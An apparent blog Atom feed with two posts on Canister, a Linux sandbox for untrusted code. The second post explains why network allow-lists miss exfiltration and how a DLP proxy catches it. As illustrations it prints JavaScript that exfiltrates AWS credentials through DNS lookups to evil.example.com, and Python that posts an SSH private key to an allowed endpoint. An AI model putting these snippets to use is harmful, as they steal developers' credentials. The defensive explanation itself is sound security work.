<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>André Graf</title>
    <subtitle>Human being interested in distributed systems, execution governance, and the hidden rules behind software.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://www.dergraf.org/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://www.dergraf.org"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-05-24T00:00:00+00:00</updated>
    <id>https://www.dergraf.org/atom.xml</id>
    <entry xml:lang="en">
        <title>Canister: An Invitation to Break It and Tell Me Where It Doesn&#x27;t Fit</title>
        <published>2026-05-24T00:00:00+00:00</published>
        <updated>2026-05-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.dergraf.org/notes/canister-an-invitation-to-break-it/"/>
        <id>https://www.dergraf.org/notes/canister-an-invitation-to-break-it/</id>
        
        <content type="html" xml:base="https://www.dergraf.org/notes/canister-an-invitation-to-break-it/">&lt;p&gt;A few months ago I posted a small note on LinkedIn about a holiday project: &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&quot;&gt;Canister&lt;&#x2F;a&gt;, an unprivileged Linux sandbox for running code you don’t fully trust – AI-generated scripts, &lt;code&gt;npm install&lt;&#x2F;code&gt;, build steps from a repo you just cloned.&lt;&#x2F;p&gt;
&lt;p&gt;A lot has changed since then, and I mostly stayed quiet about it. A couple of the notes here even slipped out as drafts before I meant to publish them – if you read one early and it changed under you, that’s why. This post is the opposite of an accident. It’s an invitation.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;where-it-stands&quot;&gt;Where it stands&lt;&#x2F;h2&gt;
&lt;p&gt;When I wrote the &lt;a href=&quot;https:&#x2F;&#x2F;www.dergraf.org&#x2F;notes&#x2F;canister-sandboxing-ai-generated-code&#x2F;&quot;&gt;first post&lt;&#x2F;a&gt;, Canister was an experiment held together by enthusiasm. Since then the pieces I was unsure about have actually landed:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;An &lt;a href=&quot;https:&#x2F;&#x2F;www.dergraf.org&#x2F;notes&#x2F;canister-egress-proxy-dlp&#x2F;&quot;&gt;L7 egress proxy with a DLP layer&lt;&#x2F;a&gt; that scans outbound traffic for credential leaks – because a network allow-list can’t tell the difference between a legitimate API call and your AWS key base64’d into a header. It’s a second line of defense with real limits, not a hard boundary; if you’re leaning on it, read the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&#x2F;blob&#x2F;main&#x2F;docs&#x2F;DLP.md#limitations&quot;&gt;limitations section&lt;&#x2F;a&gt; of the DLP docs first.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Per-destination egress contracts&lt;&#x2F;strong&gt;: one &lt;code&gt;[[host]]&lt;&#x2F;code&gt; block per upstream declares the methods, content types, paths, and body size a destination is allowed to receive. A refused request comes back with a copy-pasteable patch in the response body, so loosening a policy is a paste, not a guessing game.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Project manifests&lt;&#x2F;strong&gt;: drop a &lt;code&gt;canister.toml&lt;&#x2F;code&gt; at your project root, define named sandboxes, and run them with &lt;code&gt;can up &amp;lt;name&amp;gt;&lt;&#x2F;code&gt;. The choice is remembered instead of retyped.&lt;&#x2F;li&gt;
&lt;li&gt;A test suite that &lt;a href=&quot;https:&#x2F;&#x2F;www.dergraf.org&#x2F;notes&#x2F;testing-canister-on-real-vms&#x2F;&quot;&gt;boots real Fedora and Ubuntu VMs in CI&lt;&#x2F;a&gt; to verify SELinux and AppArmor enforcement – because you can’t test a security policy in a container that shares the host kernel.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;None of these primitives are novel on their own. The bet was always that the &lt;em&gt;composition&lt;&#x2F;em&gt; – namespaces, seccomp, a USER_NOTIF supervisor, and an L7 DLP proxy behind one CLI and a few readable TOML files – could be genuinely useful. I think it’s finally crossed that line. I’ve started reaching for &lt;code&gt;can run&lt;&#x2F;code&gt; in my own daily workflow instead of treating it as a thing I’m building.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-honest-gap&quot;&gt;The honest gap&lt;&#x2F;h2&gt;
&lt;p&gt;Here’s the problem with that: I built this in and for my own world. Elixir, Nix, Linux, the way &lt;em&gt;I&lt;&#x2F;em&gt; install toolchains and lay out projects. The recipe model is shaped by my habits. I genuinely don’t know whether it fits the reflexes of a developer who lives in a different ecosystem – and that’s exactly the feedback I can’t generate on my own.&lt;&#x2F;p&gt;
&lt;p&gt;So I’m asking for two specific kinds of help.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-you-live-outside-the-elixir-world&quot;&gt;If you live outside the Elixir world&lt;&#x2F;h3&gt;
&lt;p&gt;There are recipes for Node, Python, and Go, and for the package managers around them – &lt;code&gt;npm&lt;&#x2F;code&gt;, &lt;code&gt;pnpm&lt;&#x2F;code&gt;, &lt;code&gt;yarn&lt;&#x2F;code&gt;, &lt;code&gt;pip&lt;&#x2F;code&gt;, &lt;code&gt;poetry&lt;&#x2F;code&gt;, &lt;code&gt;uv&lt;&#x2F;code&gt;. Take a real project, not a toy, and run its install or test step inside Canister:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ can run -r node -- npm install
&lt;&#x2F;span&gt;&lt;span&gt;$ can run -r python -r uv -- uv run pytest
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then tell me where it’s wrong. Is the recipe too tight, so legitimate work breaks? Too loose, so it isn’t really protecting anything? Does it miss a registry, a cache directory, a socket your toolchain expects? &lt;code&gt;can run --monitor&lt;&#x2F;code&gt; shows you what &lt;em&gt;would&lt;&#x2F;em&gt; be blocked without enforcing, which is the fastest way to see where a recipe and your ecosystem disagree. I want those disagreements.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-you-break-things-for-a-living&quot;&gt;If you break things for a living&lt;&#x2F;h3&gt;
&lt;p&gt;This is the feedback I want most. Canister is an unprivileged sandbox that stacks user namespaces, mount isolation, a PID namespace, seccomp BPF, a USER_NOTIF supervisor for argument-level syscall filtering, and an L7 proxy doing TLS-terminating DLP. That’s a lot of surface, and a lot of places I could be wrong.&lt;&#x2F;p&gt;
&lt;p&gt;So: try to break out. Read a path that shouldn’t be mounted. Get a secret past the DLP scanner through an encoding chain I didn’t anticipate. Escape the namespaces, signal a host process, find the syscall I forgot to deny. The design philosophy is fail-closed – if it isn’t, I want to know before someone relying on it does. File an issue, or just tell me how you got out.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;and-either-way-how-does-it-feel&quot;&gt;And either way: how does it &lt;em&gt;feel&lt;&#x2F;em&gt;?&lt;&#x2F;h3&gt;
&lt;p&gt;Security and ecosystem coverage aside, I want to know if the tool is pleasant. Is &lt;code&gt;can run&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;can up&lt;&#x2F;code&gt; natural, or fighting you? Are the refusal messages actually actionable when something gets blocked? Did monitor mode help you build a working recipe, or did you give up halfway? Ergonomics are where good security tools quietly die, and I’d rather hear it’s annoying than watch people stop using it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;new-a-canister-toml-composer&quot;&gt;New: a &lt;code&gt;canister.toml&lt;&#x2F;code&gt; composer&lt;&#x2F;h2&gt;
&lt;p&gt;Composing recipes by hand means knowing which ones exist and how they layer. To make that easier, there’s now a guided builder at &lt;strong&gt;&lt;a href=&quot;https:&#x2F;&#x2F;canister.dergraf.org&quot;&gt;canister.dergraf.org&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Answer a handful of questions – what language, how your toolchain is installed, which editor, where your code lives – and it composes the matching recipes and emits a working &lt;code&gt;canister.toml&lt;&#x2F;code&gt;. Suggested companions are pre-checked and explain themselves on hover; there’s an advanced mode if you’d rather edit the recipe list directly. The manifest is optional: you can drop the file at your project root and &lt;code&gt;can up&lt;&#x2F;code&gt;, or just copy the equivalent &lt;code&gt;can run&lt;&#x2F;code&gt; line and skip the file entirely.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;come-kick-the-tires&quot;&gt;Come kick the tires&lt;&#x2F;h2&gt;
&lt;p&gt;The code is at &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&quot;&gt;github.com&#x2F;dergraf&#x2F;canister&lt;&#x2F;a&gt;, Apache-2.0 licensed. The architecture, configuration reference, and DLP internals are documented in &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&#x2F;tree&#x2F;main&#x2F;docs&quot;&gt;docs&#x2F;&lt;&#x2F;a&gt;. The composer is at &lt;a href=&quot;https:&#x2F;&#x2F;canister.dergraf.org&quot;&gt;canister.dergraf.org&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If you try it – whether you’re porting a recipe to your ecosystem, hunting for a breakout, or just forming an opinion on whether the ergonomics are any good – I’d genuinely like to hear from you. The best place is &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&#x2F;issues&quot;&gt;GitHub issues&lt;&#x2F;a&gt;: a broken recipe, a false positive, a syscall I forgot to deny, a successful escape, or just “this felt awkward” – all of it is useful, and all of it is welcome.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A Network Allow-List Won&#x27;t Stop Exfiltration</title>
        <published>2026-05-18T00:00:00+00:00</published>
        <updated>2026-05-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.dergraf.org/notes/canister-egress-proxy-dlp/"/>
        <id>https://www.dergraf.org/notes/canister-egress-proxy-dlp/</id>
        
        <content type="html" xml:base="https://www.dergraf.org/notes/canister-egress-proxy-dlp/">&lt;p&gt;Say you run a piece of untrusted code – an AI-generated script, a dependency’s &lt;code&gt;postinstall&lt;&#x2F;code&gt; hook, a build step from a repo you just cloned – inside a sandbox. You lock it down: no filesystem access outside the working directory, no network except the one domain it legitimately needs, no dangerous syscalls. That stops a lot of bad behavior.&lt;&#x2F;p&gt;
&lt;p&gt;It also has a blind spot, and it’s a big one.&lt;&#x2F;p&gt;
&lt;p&gt;I ran into this building &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dergraf&#x2F;canister&quot;&gt;Canister&lt;&#x2F;a&gt;, a lightweight, unprivileged Linux sandbox – it stacks user namespaces, seccomp, and network isolation to run untrusted commands with minimal privileges, no root and no container runtime. But the blind spot below isn’t specific to Canister. It applies to any sandbox whose network policy is a domain allow-list, which is most of them.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-problem-network-allow-lists-don-t-solve&quot;&gt;The problem network allow-lists don’t solve&lt;&#x2F;h2&gt;
&lt;p&gt;Say you’re running an npm install for a project that needs to reach &lt;code&gt;registry.npmjs.org&lt;&#x2F;code&gt;. You add that domain to your allow-list. The install runs. Everything works.&lt;&#x2F;p&gt;
&lt;p&gt;Except the dependency you just installed contains this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dns &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;require&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;dns&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;secrets &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;require&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;fs&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;readFileSync&lt;&#x2F;span&gt;&lt;span&gt;(process.env.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HOME &lt;&#x2F;span&gt;&lt;span&gt;+ &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;.aws&#x2F;credentials&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;utf8&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;encoded &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Buffer&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;secrets&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;toString&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;base64&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dns&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;resolve&lt;&#x2F;span&gt;&lt;span&gt;(`&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;encoded&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;substring&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;60&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)}.evil.example.com&lt;&#x2F;span&gt;&lt;span&gt;`, () &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{});
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Your network policy allows DNS. The script exfiltrates your AWS credentials via DNS subdomain lookups. No unauthorized connection. No blocked domain. The data leaves through a channel you explicitly permitted.&lt;&#x2F;p&gt;
&lt;p&gt;Or consider a build script that posts logs to an allowed analytics endpoint:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;requests, base64, os
&lt;&#x2F;span&gt;&lt;span&gt;token = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(os.path.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;expanduser&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;~&#x2F;.ssh&#x2F;id_ed25519&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;requests.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;post&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;https:&#x2F;&#x2F;allowed-analytics.example.com&#x2F;log&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, 
&lt;&#x2F;span&gt;&lt;span&gt;              &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;={&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;: base64.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;b64encode&lt;&#x2F;span&gt;&lt;span&gt;(token.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;()).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;()})
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Your SSH private key, base64-encoded, flows to an endpoint your policy allows. The sandbox did its job. The network filter did its job. The secret still leaked.&lt;&#x2F;p&gt;
&lt;p&gt;This is the gap network-level policies can’t close. The threat isn’t just unauthorized connections. It’s data flowing through authorized ones.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;recent-supply-chain-context&quot;&gt;Recent supply chain context&lt;&#x2F;h2&gt;
&lt;p&gt;This isn’t a theoretical problem. In November 2025, the &lt;a href=&quot;https:&#x2F;&#x2F;thehackernews.com&#x2F;2025&#x2F;11&#x2F;second-sha1-hulud-wave-affects-25000.html&quot;&gt;Shai-Hulud worm&lt;&#x2F;a&gt; hit the npm registry in a second wave (Sha1-Hulud), compromising hundreds of packages from Zapier, ENS Domains, PostHog, and others. The malware ran during the preinstall phase, installed credential scanners, and exfiltrated GitHub tokens, npm tokens, AWS keys, and SSH keys to attacker-controlled repositories.&lt;&#x2F;p&gt;
&lt;p&gt;Around the same time, the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;BerriAI&#x2F;litellm&#x2F;security&#x2F;advisories&quot;&gt;LiteLLM project&lt;&#x2F;a&gt; disclosed multiple critical vulnerabilities in the Python ecosystem, including SQL injection, authentication bypasses, and server-side template injection that could be chained to steal credentials.&lt;&#x2F;p&gt;
&lt;p&gt;These weren’t one-off incidents. They were part of a pattern: package registries as credential harvesting infrastructure. Allow-lists can block unauthorized domains. They can’t tell the difference between legitimate API calls and encoded secrets in HTTP headers.&lt;&#x2F;p&gt;
&lt;p&gt;That’s the problem an L7 egress proxy with data-loss prevention is designed to address.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-it-works&quot;&gt;How it works&lt;&#x2F;h2&gt;
&lt;p&gt;Every outbound TCP connection from the sandbox goes through a local HTTPS proxy running on the host. The sandbox can’t make direct connections: a seccomp supervisor – using &lt;code&gt;SECCOMP_USER_NOTIF&lt;&#x2F;code&gt;, the kernel feature that lets a parent process vet syscalls the sandbox makes – intercepts &lt;code&gt;connect()&lt;&#x2F;code&gt; and returns &lt;code&gt;EPERM&lt;&#x2F;code&gt; unless the process is connecting to &lt;code&gt;127.0.0.1:8080&lt;&#x2F;code&gt;, the proxy.&lt;&#x2F;p&gt;
&lt;p&gt;The proxy handles:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TLS termination.&lt;&#x2F;strong&gt; The proxy acts as a MITM. It terminates the client’s TLS session, inspects the plaintext HTTP request and response, then re-encrypts the connection upstream.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Policy enforcement.&lt;&#x2F;strong&gt; Before forwarding anything, the proxy checks the target against your allow-list. Blocked domains return 403. No packet leaves the host.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DNS entropy checks.&lt;&#x2F;strong&gt; High-entropy subdomains trigger warnings or blocks. A request to &lt;code&gt;aws-akiaiosfodnn7example.attacker.com&lt;&#x2F;code&gt; gets flagged because the subdomain looks like base64-encoded data. The DLP layer normalizes per-label entropy against the maximum for that length and detects chunked exfiltration patterns.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Header and URI scanning.&lt;&#x2F;strong&gt; All request headers are scanned – there is no allowlist of header names to check. URIs are checked for embedded tokens.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Body scanning.&lt;&#x2F;strong&gt; Request and response bodies are buffered (with size limits – requests over the threshold get a 413), decoded through multiple layers (base64, hex, percent-encoding, JSON escapes, HTML entities), decompressed (gzip, deflate, brotli, zstd), and scanned for secrets.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Response scanning.&lt;&#x2F;strong&gt; API responses that leak credentials are caught before they reach the sandboxed process. If a service accidentally echoes back a token in an error message, it gets blocked.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The pipeline is: policy check → DNS entropy check → header scan → body scan → forward upstream → response scan → return to client. A single enforcement decision point. If a secret is detected and you’re running in &lt;code&gt;--strict&lt;&#x2F;code&gt; mode, the request is blocked and logged. In &lt;code&gt;--monitor&lt;&#x2F;code&gt; mode, the request is allowed but a warning is logged and an &lt;code&gt;X-Canister-DLP-Warning&lt;&#x2F;code&gt; header is added.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-gets-caught&quot;&gt;What gets caught&lt;&#x2F;h2&gt;
&lt;p&gt;The DLP layer includes detectors for:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cloud provider keys:&lt;&#x2F;strong&gt; AWS access keys, GCP service account keys, Azure connection strings&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Version control tokens:&lt;&#x2F;strong&gt; GitHub personal access tokens, GitLab tokens&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Package registry credentials:&lt;&#x2F;strong&gt; npm tokens, PyPI tokens&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;API keys:&lt;&#x2F;strong&gt; OpenAI, Anthropic, Google API keys, Stripe keys, Slack tokens&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Database credentials:&lt;&#x2F;strong&gt; Postgres connection URIs (username, password, host parsed and checked)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Cryptographic keys:&lt;&#x2F;strong&gt; SSH private keys (RSA, Ed25519, ECDSA), PKCS#8 private keys&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;High-entropy tokens:&lt;&#x2F;strong&gt; Generic bearer tokens, JWTs, any high-entropy string that looks like a secret&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Custom canary tokens:&lt;&#x2F;strong&gt; Inject known fake secrets at sandbox startup, verify they get blocked&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Each detector has a home domain scope. A GitHub PAT can flow to &lt;code&gt;github.com&lt;&#x2F;code&gt; or &lt;code&gt;api.github.com&lt;&#x2F;code&gt;, but not to &lt;code&gt;evil.example.com&lt;&#x2F;code&gt;. An npm token can reach &lt;code&gt;registry.npmjs.org&lt;&#x2F;code&gt;, but not arbitrary endpoints. You can extend scopes per-recipe with &lt;code&gt;extra_scopes&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The detector list is built from a single source-of-truth registry. Adding a new pattern is “add one entry to the registry” rather than “update four parallel lists and hope they stay in sync.”&lt;&#x2F;p&gt;
&lt;h2 id=&quot;evasion-resistance&quot;&gt;Evasion resistance&lt;&#x2F;h2&gt;
&lt;p&gt;Attackers encode secrets to evade pattern matching. The DLP layer handles this by working backwards through the encoding chain.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Encoding chains:&lt;&#x2F;strong&gt; The scanner recursively decodes base64, hexadecimal, and percent-encoding up to 32 layers deep. A request body like &lt;code&gt;%7B%22token%22%3A%22NjhkMzZhYjY4ZDM2YWI2OGQzNmFiNjhkMzZhYg%3D%3D%22%7D&lt;&#x2F;code&gt; (percent-encoded JSON containing base64) gets decoded to &lt;code&gt;{&quot;token&quot;:&quot;68d36ab68d36ab68d36ab68d36ab&quot;}&lt;&#x2F;code&gt; and scanned. JSON &lt;code&gt;\uXXXX&lt;&#x2F;code&gt; escapes (including surrogate pairs) and HTML entities are decoded as well.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Decompression:&lt;&#x2F;strong&gt; If the &lt;code&gt;Content-Encoding&lt;&#x2F;code&gt; header says &lt;code&gt;gzip&lt;&#x2F;code&gt;, the body is decompressed before scanning. The scanner supports gzip, deflate, brotli, and zstd. It also sniffs magic bytes – if the header says &lt;code&gt;text&#x2F;plain&lt;&#x2F;code&gt; but the body starts with &lt;code&gt;1f 8b&lt;&#x2F;code&gt;, it’s treated as gzip and decompressed anyway. Mismatches trigger DLP evasion warnings.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;DNS entropy:&lt;&#x2F;strong&gt; Subdomains are split into labels, and per-label Shannon entropy is calculated and normalized against the theoretical maximum for that label length. High-entropy labels look like base64-encoded data. The DNS entropy budget tracks cumulative high-entropy bytes per sandbox session to catch slow byte-at-a-time exfiltration. A single high-entropy DNS query might be legitimate. A thousand of them are not.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Streaming scanner:&lt;&#x2F;strong&gt; HTTP chunked transfer encoding can split a secret across chunk boundaries. The scanner uses a 256-byte overlap window. When processing chunk N, it rescans the last 256 bytes of chunk N-1 concatenated with the first 256 bytes of chunk N. Secrets that span chunks still get caught.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Fragment-aware decoding:&lt;&#x2F;strong&gt; Secrets embedded inside larger structures (JSON objects, XML documents, multipart form data) are extracted and scanned. A POST body like &lt;code&gt;{&quot;user&quot;: &quot;alice&quot;, &quot;token&quot;: &quot;ghp_AKIAIOSFODNN7EXAMPLE&quot;, &quot;timestamp&quot;: 123}&lt;&#x2F;code&gt; doesn’t evade detection because the scanner pulls apart the JSON and scans each value.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Redaction:&lt;&#x2F;strong&gt; Matched secrets never appear in logs or structured events. The DLP layer redacts them to &lt;code&gt;first4•••••sha256[..8] (len=N)&lt;&#x2F;code&gt;. A blocked GitHub PAT shows up as &lt;code&gt;ghp_•••••a3f2b7c9 (len=40)&lt;&#x2F;code&gt; in the logs. The actual token never touches disk.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-this-does-and-doesn-t-buy-you&quot;&gt;What this does and doesn’t buy you&lt;&#x2F;h2&gt;
&lt;p&gt;DLP is a second line of defense, not a first. It doesn’t replace reviewing code or vetting dependencies, and it isn’t a hard boundary the way a denied syscall is – it’s pattern matching over a decoded byte stream, and pattern matching has limits. There will be encodings a given implementation doesn’t unwrap, and high-entropy detection trades false positives against false negatives no matter where you set the threshold.&lt;&#x2F;p&gt;
&lt;p&gt;What it does buy you is coverage of the gap that network-level policy structurally cannot close: data leaving through a connection you authorized. An allow-list reasons about &lt;em&gt;where&lt;&#x2F;em&gt; a connection goes. A DLP proxy reasons about &lt;em&gt;what’s&lt;&#x2F;em&gt; inside it. Those are different questions, and a sandbox that answers only the first leaves the more interesting one on the table.&lt;&#x2F;p&gt;
&lt;p&gt;The design points worth stealing, regardless of implementation:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Decode before you scan, and decode recursively.&lt;&#x2F;strong&gt; Attackers nest encodings until you stop unwrapping; the scanner has to keep going one layer further.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Keep an overlap window across chunk and packet boundaries&lt;&#x2F;strong&gt;, or you’ll miss secrets split across two reads.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Treat DNS as an exfiltration channel, not just name resolution.&lt;&#x2F;strong&gt; Budget cumulative high-entropy bytes per session – one weird subdomain is noise, a thousand is a payload.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Drive detectors from a single registry&lt;&#x2F;strong&gt; so adding a pattern is one entry, not four parallel lists drifting out of sync.&lt;&#x2F;li&gt;
